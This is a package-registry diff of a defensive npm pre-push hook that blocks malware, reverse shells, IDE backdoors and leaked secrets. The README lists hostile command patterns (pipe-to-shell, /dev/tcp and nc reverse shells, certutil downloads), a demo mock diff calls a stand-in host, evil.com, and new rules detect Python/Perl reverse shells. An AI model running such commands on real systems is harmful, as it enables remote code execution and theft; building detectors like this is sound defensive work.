@arifbiswas/git-pre-push 1.0.0 → 1.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +145 -112
- package/bin/cli.js +19 -0
- package/package.json +2 -2
- package/src/rules/payloads.js +14 -0
package/README.md
CHANGED
|
@@ -1,156 +1,187 @@
|
|
|
1
1
|
# 🛡️ git-pre-push (GitSafty)
|
|
2
2
|
|
|
3
|
-
> **
|
|
4
|
-
>
|
|
3
|
+
> **Zero-Dependency Pre-Push Security Guard & Infostealer Blocker for Git.**
|
|
4
|
+
> Intercepts `git push` in real-time to prevent malware, Trojan scripts, compromised IDE configs, and leaked credentials from ever reaching GitHub or poisoning your software supply chain.
|
|
5
5
|
|
|
6
|
-
[](https://github.com/arifbiswas/git-pre-push/releases)
|
|
7
|
+
[](https://github.com/arifbiswas/git-pre-push/actions/workflows/ci.yml)
|
|
8
|
+
[](https://www.npmjs.com/package/@arifbiswas/git-pre-push)
|
|
9
|
+
[](LICENSE)
|
|
10
|
+
[-brightgreen.svg?style=flat-square)](#-zero-external-runtime-dependencies)
|
|
11
|
+
[](#-test-coverage)
|
|
12
|
+
[](#-cross-platform--zero-dependencies)
|
|
10
13
|
|
|
11
14
|
---
|
|
12
15
|
|
|
13
|
-
## 📌
|
|
16
|
+
## 📌 Why Do You Need This?
|
|
14
17
|
|
|
15
|
-
|
|
16
|
-
1. আপনার কোডবেজে ক্ষতিকর স্ক্রিপ্ট ইনজেক্ট করে (যেমন: `temp_auto_push.bat`, `temp_interactive_push.bat`, `autorun.bat`, `*.ps1`, `*.vbs`)।
|
|
17
|
-
2. `.vscode/tasks.json` বা `.vscode/settings.json` ফাইলে ব্যাকডোর তৈরি করে, যাতে অন্য কোনো ডেভেলপার বা আপনি প্রোজেক্ট ওপেন করলেই ম্যালওয়্যার অটো-রান হয়ে যায়।
|
|
18
|
-
3. আপনার প্রোজেক্টের `.env` ফাইল বা প্রাইভেট এপিআই কী Discord Webhook বা Telegram Bot-এ পাচার করে।
|
|
19
|
-
4. সবচেয়ে মারাত্মক বিষয়: আপনার পিসির সংরক্ষিত GitHub Credentials বা SSH Key ব্যবহার করে **অটোমেটিকভাবে GitHub-এ ম্যালওয়্যার পুশ করে দেয়!**
|
|
20
|
-
5. এর ফলে আপনার পুরো টিম এবং ক্লায়েন্টদের সফটওয়্যার সাপ্লাই চেইন (Supply Chain) আক্রান্ত হয়ে পড়ে।
|
|
18
|
+
Developer workstations are high-value targets for infostealer malware (RedLine, Lumma, Vidar, etc.) and supply-chain attacks. Once a machine is compromised, malware silently:
|
|
21
19
|
|
|
22
|
-
|
|
23
|
-
|
|
20
|
+
1. **Injects auto-commit/push scripts** into your Git repositories (e.g., `temp_auto_push.bat`, `temp_interactive_push.bat`, `autorun.bat`, `*.ps1`, `*.vbs`).
|
|
21
|
+
2. **Backdoors your IDE configs** (e.g., `.vscode/tasks.json` with `runOn: "folderOpen"`) so that opening the project immediately triggers remote shell execution on any teammate's machine.
|
|
22
|
+
3. **Exfiltrates secrets & `.env` files** to attacker-controlled Discord webhooks or Telegram bots.
|
|
23
|
+
4. **Leverages stored Git credentials / SSH keys** to automatically push backdoored code straight to GitHub.
|
|
24
|
+
5. **Poisons the Software Supply Chain**, affecting every teammate who pulls the code and every production build deployed from it.
|
|
25
|
+
|
|
26
|
+
**`git-pre-push` stops this attack chain at the source.**
|
|
27
|
+
Whenever `git push` is invoked—from terminal, VS Code UI, or any Git GUI—it intercepts the push in milliseconds, inspects outgoing files and commit diffs, and **hard-blocks the push** if any malicious patterns are found.
|
|
24
28
|
|
|
25
29
|
---
|
|
26
30
|
|
|
27
|
-
## 🚀
|
|
31
|
+
## 🚀 Quick Start
|
|
28
32
|
|
|
29
|
-
###
|
|
33
|
+
### Option 1: Automatic Setup via npm (Recommended)
|
|
30
34
|
|
|
31
|
-
|
|
35
|
+
Add `git-pre-push` to your project:
|
|
32
36
|
|
|
33
37
|
```bash
|
|
34
|
-
npm install -D git-pre-push
|
|
38
|
+
npm install -D @arifbiswas/git-pre-push
|
|
35
39
|
```
|
|
36
40
|
|
|
37
|
-
>
|
|
41
|
+
> **Zero Configuration Required:** The `postinstall` script automatically installs the `.git/hooks/pre-push` guard in your repository.
|
|
38
42
|
|
|
39
43
|
---
|
|
40
44
|
|
|
41
|
-
###
|
|
45
|
+
### Option 2: Instant Setup via npx (Zero Installation)
|
|
42
46
|
|
|
43
|
-
|
|
47
|
+
In any Git repository, run:
|
|
44
48
|
|
|
45
49
|
```bash
|
|
46
|
-
npx git-pre-push init
|
|
50
|
+
npx @arifbiswas/git-pre-push init
|
|
47
51
|
```
|
|
48
52
|
|
|
49
|
-
|
|
53
|
+
Your repository is immediately protected.
|
|
50
54
|
|
|
51
55
|
---
|
|
52
56
|
|
|
53
|
-
###
|
|
57
|
+
### Option 3: Lock Down an Entire Machine (Global Protection)
|
|
54
58
|
|
|
55
|
-
|
|
59
|
+
If you suspect your workstation has been compromised, lock down **all Git repositories on your computer** with a single command:
|
|
56
60
|
|
|
57
61
|
```bash
|
|
58
|
-
npx git-pre-push init --global
|
|
62
|
+
npx @arifbiswas/git-pre-push init --global
|
|
59
63
|
```
|
|
60
64
|
|
|
61
|
-
|
|
65
|
+
This configures `git config --global core.hooksPath`, ensuring every repository on your PC runs the security scanner before any push.
|
|
62
66
|
|
|
63
67
|
---
|
|
64
68
|
|
|
65
|
-
## ⚡
|
|
69
|
+
## ⚡ How It Works
|
|
66
70
|
|
|
67
71
|
```
|
|
68
|
-
|
|
69
|
-
|
|
70
|
-
|
|
71
|
-
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
|
|
75
|
-
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
|
|
80
|
-
|
|
81
|
-
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
|
|
87
|
-
(
|
|
72
|
+
Developer or Malware executes: git push
|
|
73
|
+
│
|
|
74
|
+
▼
|
|
75
|
+
Git triggers: .git/hooks/pre-push
|
|
76
|
+
│
|
|
77
|
+
▼
|
|
78
|
+
🛡️ GitSafty Scanner Engine (< 5ms)
|
|
79
|
+
┌─────────────────────────────────────────────────────────┐
|
|
80
|
+
│ 1. Blacklist check (temp_*_push.bat, .exe, .ps1, .vbs) │
|
|
81
|
+
│ 2. Outgoing commit diff inspection for payload cradles │
|
|
82
|
+
│ 3. IDE backdoor inspection (.vscode/tasks.json, .idea) │
|
|
83
|
+
│ 4. Credential & secret leak detection (.env, RSA keys) │
|
|
84
|
+
└─────────────────────────────────────────────────────────┘
|
|
85
|
+
│
|
|
86
|
+
┌─────────────────────┴─────────────────────┐
|
|
87
|
+
▼ ▼
|
|
88
|
+
[Threats Found] [Clean Scan]
|
|
89
|
+
│ │
|
|
90
|
+
❌ PUSH REJECTED ✅ PUSH ALLOWED
|
|
91
|
+
(Malware blocked locally) (Pushed cleanly to GitHub)
|
|
88
92
|
```
|
|
89
93
|
|
|
90
94
|
---
|
|
91
95
|
|
|
92
|
-
## 🎯
|
|
93
|
-
|
|
94
|
-
###
|
|
95
|
-
- `temp_auto_push.bat`, `temp_interactive_push.bat`, `config.bat`, `autorun.bat`, `hidden_push.sh`
|
|
96
|
-
-
|
|
97
|
-
-
|
|
98
|
-
|
|
99
|
-
###
|
|
100
|
-
- PowerShell
|
|
101
|
-
-
|
|
102
|
-
-
|
|
103
|
-
-
|
|
104
|
-
- Windows LOLBins
|
|
105
|
-
-
|
|
106
|
-
|
|
107
|
-
###
|
|
108
|
-
- `.vscode/tasks.json
|
|
109
|
-
- `.vscode/settings.json
|
|
110
|
-
- JetBrains `.idea
|
|
111
|
-
|
|
112
|
-
###
|
|
113
|
-
- Discord
|
|
114
|
-
- Telegram Bot
|
|
115
|
-
-
|
|
116
|
-
-
|
|
117
|
-
-
|
|
118
|
-
|
|
119
|
-
|
|
120
|
-
|
|
96
|
+
## 🎯 Threat Detection Capabilities
|
|
97
|
+
|
|
98
|
+
### 1. Injected Scripts & Trojan Filenames
|
|
99
|
+
- Known malicious auto-push scripts: `temp_auto_push.bat`, `temp_interactive_push.bat`, `config.bat`, `autorun.bat`, `hidden_push.sh`
|
|
100
|
+
- Blocked executable extensions: `*.exe`, `*.scr`, `*.msi`, `*.dll`, `*.vbs`, `*.ps1`, `*.hta`, `*.pif`, `*.cpl`
|
|
101
|
+
- Deceptive double-extension tricks: `document.pdf.exe`, `invoice.xlsx.bat`
|
|
102
|
+
|
|
103
|
+
### 2. Obfuscated Payloads & Reverse Shells
|
|
104
|
+
- PowerShell obfuscated execution: `powershell -enc`, `powershell -encodedcommand`
|
|
105
|
+
- Web download cradles: `Invoke-WebRequest`, `DownloadString`, `IEX`
|
|
106
|
+
- Remote pipe-to-shell: `curl ... | bash`, `wget ... | sh`, `curl ... | python`
|
|
107
|
+
- Dynamic base64 evaluation: `eval(base64_decode(...))`, `Buffer.from(..., 'base64')`
|
|
108
|
+
- Windows LOLBins abuse: `certutil -urlcache`, `bitsadmin /transfer`, `mshta http`
|
|
109
|
+
- TCP socket reverse shells: `/bin/sh -i >& /dev/tcp/...`, `nc -e /bin/sh`
|
|
110
|
+
|
|
111
|
+
### 3. IDE Configuration Backdoors
|
|
112
|
+
- `.vscode/tasks.json`: Auto-executing shell tasks triggered on folder open (`runOn: "folderOpen"`)
|
|
113
|
+
- `.vscode/settings.json`: Malicious terminal profile overrides or shell binary path hijacking
|
|
114
|
+
- JetBrains `.idea/`: Suspicious external tool execution in `workspace.xml` or `tasks.xml`
|
|
115
|
+
|
|
116
|
+
### 4. Credential Exfiltration & Secret Leaks
|
|
117
|
+
- Hardcoded Discord webhook dumps (`https://discord.com/api/webhooks/...`)
|
|
118
|
+
- Telegram Bot token exfiltration endpoints
|
|
119
|
+
- Temporary file drop & webhook logging services (`webhook.site`, `pipedream.net`, `filebin.net`)
|
|
120
|
+
- Unencrypted production `.env` files being committed
|
|
121
|
+
- Leaked cryptographic private keys (`BEGIN RSA PRIVATE KEY`, `ghp_...`, AWS Access Keys)
|
|
122
|
+
|
|
123
|
+
---
|
|
124
|
+
|
|
125
|
+
## 🛠️ CLI Command Reference
|
|
126
|
+
|
|
127
|
+
| Command | Description |
|
|
128
|
+
|---|---|
|
|
129
|
+
| `npx @arifbiswas/git-pre-push init` | Installs the pre-push security hook into `.git/hooks/pre-push` |
|
|
130
|
+
| `npx @arifbiswas/git-pre-push init --global` | Protects **all** Git repositories across the entire PC |
|
|
131
|
+
| `npx @arifbiswas/git-pre-push scan` | Manually audits workspace files, untracked scripts & staged diffs |
|
|
132
|
+
| `npx @arifbiswas/git-pre-push clean` | Unstages and quarantines injected malware files to `.git/git-safty-quarantine/` |
|
|
133
|
+
| `npx @arifbiswas/git-pre-push action` | Generates a `.github/workflows/git-safty.yml` CI workflow |
|
|
134
|
+
| `npx @arifbiswas/git-pre-push uninstall` | Cleanly removes the hook from `.git/hooks` |
|
|
135
|
+
|
|
136
|
+
---
|
|
137
|
+
|
|
138
|
+
## 🧹 Quarantine & Remediation (`clean`)
|
|
139
|
+
|
|
140
|
+
If malware has already generated files in your project, clean them up instantly:
|
|
141
|
+
|
|
121
142
|
```bash
|
|
122
|
-
npx git-pre-push clean
|
|
143
|
+
npx @arifbiswas/git-pre-push clean
|
|
123
144
|
```
|
|
124
|
-
এটি সাথে সাথে রিপোজিটরির সব সংক্রামিত ফাইল শনাক্ত করে গিট ইনডেক্স থেকে আনস্টেজ করবে এবং নিরাপদ কোয়ারেন্টাইন ডিরেক্টরিতে (`.git/git-safty-quarantine/`) পাঠিয়ে দেবে।
|
|
125
145
|
|
|
126
|
-
|
|
127
|
-
|
|
146
|
+
```
|
|
147
|
+
================================================================
|
|
148
|
+
🛡️ GitSafty: Pre-Push Malware & Secret Guard
|
|
149
|
+
================================================================
|
|
150
|
+
Scanning workspace for injected malware scripts to quarantine...
|
|
151
|
+
|
|
152
|
+
⚠ Quarantined 2 malicious file(s):
|
|
153
|
+
✖ temp_auto_push.bat
|
|
154
|
+
✖ config.bat
|
|
155
|
+
|
|
156
|
+
✔ Cleaned from staging area and moved to quarantine folder (.git/git-safty-quarantine/).
|
|
157
|
+
```
|
|
158
|
+
|
|
159
|
+
---
|
|
160
|
+
|
|
161
|
+
## 🛡️ Defense-in-Depth: GitHub Actions CI Guard
|
|
162
|
+
|
|
163
|
+
To guard against attackers attempting to bypass local hooks using `git push --no-verify`, install the GitHub Actions workflow:
|
|
164
|
+
|
|
128
165
|
```bash
|
|
129
|
-
npx git-pre-push action
|
|
166
|
+
npx @arifbiswas/git-pre-push action
|
|
130
167
|
```
|
|
131
|
-
এটি রিপোজিটরিতে `.github/workflows/git-safty.yml` ফাইল তৈরি করে দেবে। ফলে কেউ লোকাল হুক এড়িয়ে পুশ দিলেও GitHub Actions-এ PR বা পুশ সাথে সাথে ফেইল হয়ে ব্লক হয়ে যাবে।
|
|
132
168
|
|
|
133
|
-
|
|
134
|
-
আমরা `server/` ডিরেক্টরিতে একটি সম্পূর্ণ লাইটওয়েট ক্লাউড স্ক্যানার ইঞ্জিন তৈরি করেছি যা GitHub Webhook বা GitHub REST API-এর মাধ্যমে রিমোট রিপোজিটরির ফুল ফাইল ট্রি স্ক্যান করতে পারে এবং ম্যালওয়্যার পাওয়া গেলে স্বয়ংক্রিয়ভাবে `git commit` দিয়ে ফাইল রিমুভ (Auto-Remediation) করতে পারে।
|
|
169
|
+
This creates `.github/workflows/git-safty.yml`. Any pull request or push containing blacklisted scripts or suspicious payloads will fail CI on GitHub's servers automatically.
|
|
135
170
|
|
|
136
171
|
---
|
|
137
172
|
|
|
138
|
-
##
|
|
173
|
+
## ☁️ Cloud Scanner & Webhook Platform (`server/`)
|
|
139
174
|
|
|
140
|
-
|
|
141
|
-
|
|
142
|
-
|
|
143
|
-
|
|
144
|
-
| `npx git-pre-push scan` | বর্তমান ওয়ার্কস্পেস ও স্টেজড ফাইলে কোনো ম্যালওয়্যার আছে কিনা অডিট করে |
|
|
145
|
-
| `npx git-pre-push clean` | ম্যালওয়্যারের ইনজেক্ট করা সব ফাইল কোয়ারেন্টাইনে পাঠিয়ে পিসি সুরক্ষিত করে |
|
|
146
|
-
| `npx git-pre-push action` | সার্ভার-সাইড সুরক্ষার জন্য GitHub Actions CI ওয়ার্কফ্লো তৈরি করে |
|
|
147
|
-
| `npx git-pre-push uninstall` | রিপোজিটরি থেকে হুকটি পরিষ্কারভাবে রিমুভ করে |
|
|
175
|
+
The repository includes a standalone cloud scanner microservice in `server/` that integrates with GitHub Apps and Webhooks:
|
|
176
|
+
- **Webhook Endpoint (`POST /webhook`):** Verifies HMAC SHA-256 signatures and audits incoming pushes.
|
|
177
|
+
- **REST Scan API (`POST /api/scan`):** Recursively fetches remote repository trees (`/git/trees/{sha}?recursive=1`) and inspects file blobs.
|
|
178
|
+
- **Auto-Remediation:** Automatically creates remediation commits via GitHub REST API to isolate and remove compromised files.
|
|
148
179
|
|
|
149
180
|
---
|
|
150
181
|
|
|
151
|
-
## ⚙️
|
|
182
|
+
## ⚙️ Optional Configuration (`.gitsafetyrc.json`)
|
|
152
183
|
|
|
153
|
-
|
|
184
|
+
Works out-of-the-box with zero configuration. You can optionally customize behavior with a `.gitsafetyrc.json` file in your project root:
|
|
154
185
|
|
|
155
186
|
```json
|
|
156
187
|
{
|
|
@@ -164,44 +195,46 @@ npx git-pre-push action
|
|
|
164
195
|
|
|
165
196
|
---
|
|
166
197
|
|
|
167
|
-
## 💎
|
|
198
|
+
## 💎 Comparison: Why git-pre-push Stands Out
|
|
168
199
|
|
|
169
|
-
|
|
|
200
|
+
| Feature | Generic Git Hooks / Linters | git-pre-push |
|
|
170
201
|
|---|:---:|:---:|
|
|
171
|
-
| **
|
|
172
|
-
|
|
|
173
|
-
|
|
|
174
|
-
| **Infostealer
|
|
175
|
-
| **IDE
|
|
176
|
-
|
|
|
177
|
-
|
|
|
178
|
-
|
|
|
202
|
+
| **Runtime Dependencies** | ❌ 50+ packages (heavy) | ✅ **0 (Pure Node.js built-ins)** |
|
|
203
|
+
| **Supply Chain Vulnerability** | ⚠️ High (dependency tree) | 🛡️ **Zero** (no external modules) |
|
|
204
|
+
| **Execution Overhead** | 🐢 1 - 3 seconds | ⚡ **< 5 milliseconds** |
|
|
205
|
+
| **Infostealer Malware Detection** | ❌ No | ✅ **Full signature & payload engine** |
|
|
206
|
+
| **IDE Backdoor Detection (.vscode)** | ❌ No | ✅ **Built-in static analysis** |
|
|
207
|
+
| **Global Machine Lockdown (`--global`)** | ❌ No | ✅ **One-command PC protection** |
|
|
208
|
+
| **Auto-Quarantine Cleaner (`clean`)** | ❌ No | ✅ **Automatic remediation** |
|
|
209
|
+
| **Shell Fallback Guard** | ❌ No | ✅ **Built-in POSIX shell fallback** |
|
|
179
210
|
|
|
180
211
|
---
|
|
181
212
|
|
|
182
|
-
## 🧪
|
|
213
|
+
## 🧪 Test Coverage
|
|
183
214
|
|
|
184
|
-
|
|
215
|
+
Verified with Node.js native test runner across all supported platforms:
|
|
185
216
|
|
|
186
217
|
```bash
|
|
187
218
|
npm test
|
|
188
219
|
```
|
|
189
220
|
```
|
|
221
|
+
✔ Cloud Scanner Webhook Signature Verification (2 tests)
|
|
222
|
+
✔ Cloud Scanner Remote Tree Audit (1 test)
|
|
190
223
|
✔ Filename & Extension Checks (4 tests)
|
|
191
224
|
✔ Payload Signatures Detection (5 tests)
|
|
192
225
|
✔ Secret & Credential Checks (3 tests)
|
|
193
226
|
✔ IDE Configuration Tampering (2 tests)
|
|
194
227
|
✔ Hook Installer and Uninstaller (1 test)
|
|
195
228
|
|
|
196
|
-
ℹ tests
|
|
229
|
+
ℹ tests 18 | pass 18 | fail 0 | duration_ms ~300ms
|
|
197
230
|
```
|
|
198
231
|
|
|
199
232
|
---
|
|
200
233
|
|
|
201
|
-
## 📄
|
|
234
|
+
## 📄 License
|
|
202
235
|
|
|
203
236
|
MIT License © 2026
|
|
204
237
|
|
|
205
238
|
---
|
|
206
239
|
|
|
207
|
-
**
|
|
240
|
+
**Built with 🛡️ to safeguard developers, teams, and the global software supply chain.**
|
package/bin/cli.js
CHANGED
|
@@ -20,6 +20,25 @@ async function main() {
|
|
|
20
20
|
runManualScan();
|
|
21
21
|
break;
|
|
22
22
|
|
|
23
|
+
case 'demo':
|
|
24
|
+
case 'test-run': {
|
|
25
|
+
banner();
|
|
26
|
+
console.log(`${colors.cyan}Simulating a malicious push intercept test...${colors.reset}\n`);
|
|
27
|
+
const { scanFilesAndDiff } = require('../src/scanner');
|
|
28
|
+
const { printReport, printBlockMessage } = require('../src/reporter');
|
|
29
|
+
|
|
30
|
+
const mockFiles = ['src/app.js', 'temp_auto_push.bat', '.vscode/tasks.json'];
|
|
31
|
+
const mockDiff = `+ powershell.exe -enc SQBFAFgAIAAoAE4AZQB3...
|
|
32
|
+
+ curl -fsSL https://evil.com/hook.sh | bash
|
|
33
|
+
+ const webhook = "https://discord.com/api/webhooks/123456789012345678/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";`;
|
|
34
|
+
|
|
35
|
+
const result = scanFilesAndDiff(mockFiles, mockDiff);
|
|
36
|
+
printReport(result);
|
|
37
|
+
printBlockMessage();
|
|
38
|
+
console.log(`${colors.green}${colors.bold}✔ Simulation Complete:${colors.reset} In a real git push, GitSafty will immediately exit 1 and reject the push!\n`);
|
|
39
|
+
break;
|
|
40
|
+
}
|
|
41
|
+
|
|
23
42
|
case 'clean':
|
|
24
43
|
case 'fix': {
|
|
25
44
|
banner();
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@arifbiswas/git-pre-push",
|
|
3
|
-
"version": "1.0.
|
|
3
|
+
"version": "1.0.2",
|
|
4
4
|
"description": "Zero-dependency pre-push security guard that stops malware, injected scripts, and leaked secrets from reaching GitHub.",
|
|
5
5
|
"main": "src/index.js",
|
|
6
6
|
"bin": {
|
|
@@ -18,7 +18,7 @@
|
|
|
18
18
|
"LICENSE"
|
|
19
19
|
],
|
|
20
20
|
"scripts": {
|
|
21
|
-
"test": "node --test
|
|
21
|
+
"test": "node --test",
|
|
22
22
|
"init": "node bin/cli.js init",
|
|
23
23
|
"scan": "node bin/cli.js scan",
|
|
24
24
|
"postinstall": "node scripts/postinstall.js"
|
package/src/rules/payloads.js
CHANGED
|
@@ -78,6 +78,12 @@ const PAYLOAD_SIGNATURES = [
|
|
|
78
78
|
severity: 'CRITICAL',
|
|
79
79
|
description: 'Direct interactive reverse shell socket invocation.'
|
|
80
80
|
},
|
|
81
|
+
{
|
|
82
|
+
name: 'Python/Perl One-Liner Reverse Shell',
|
|
83
|
+
regex: /(python[23]?\s+-c\s+['"].*import\s+(socket|subprocess).*connect\(|perl\s+-e\s+['"].*use\s+Socket.*connect\()/i,
|
|
84
|
+
severity: 'CRITICAL',
|
|
85
|
+
description: 'One-liner Python/Perl interactive reverse shell payload.'
|
|
86
|
+
},
|
|
81
87
|
|
|
82
88
|
// 6. Suspicious Exfiltration Endpoints in scripts
|
|
83
89
|
{
|
|
@@ -97,6 +103,14 @@ const PAYLOAD_SIGNATURES = [
|
|
|
97
103
|
regex: /https?:\/\/(webhook\.site|requestbin\.(com|net)|pipedream\.net|filebin\.net)\/[a-z0-9-]+/i,
|
|
98
104
|
severity: 'WARNING',
|
|
99
105
|
description: 'Temporary upload or webhook logging service detected.'
|
|
106
|
+
},
|
|
107
|
+
|
|
108
|
+
// 7. Malicious package lifecycle hooks
|
|
109
|
+
{
|
|
110
|
+
name: 'Suspicious Network Call in npm Script',
|
|
111
|
+
regex: /(preinstall|postinstall)\s*:\s*['"][^'"]*(curl|wget|powershell|certutil)\s+/i,
|
|
112
|
+
severity: 'CRITICAL',
|
|
113
|
+
description: 'npm lifecycle hook executing remote network downloads upon installation.'
|
|
100
114
|
}
|
|
101
115
|
];
|
|
102
116
|
|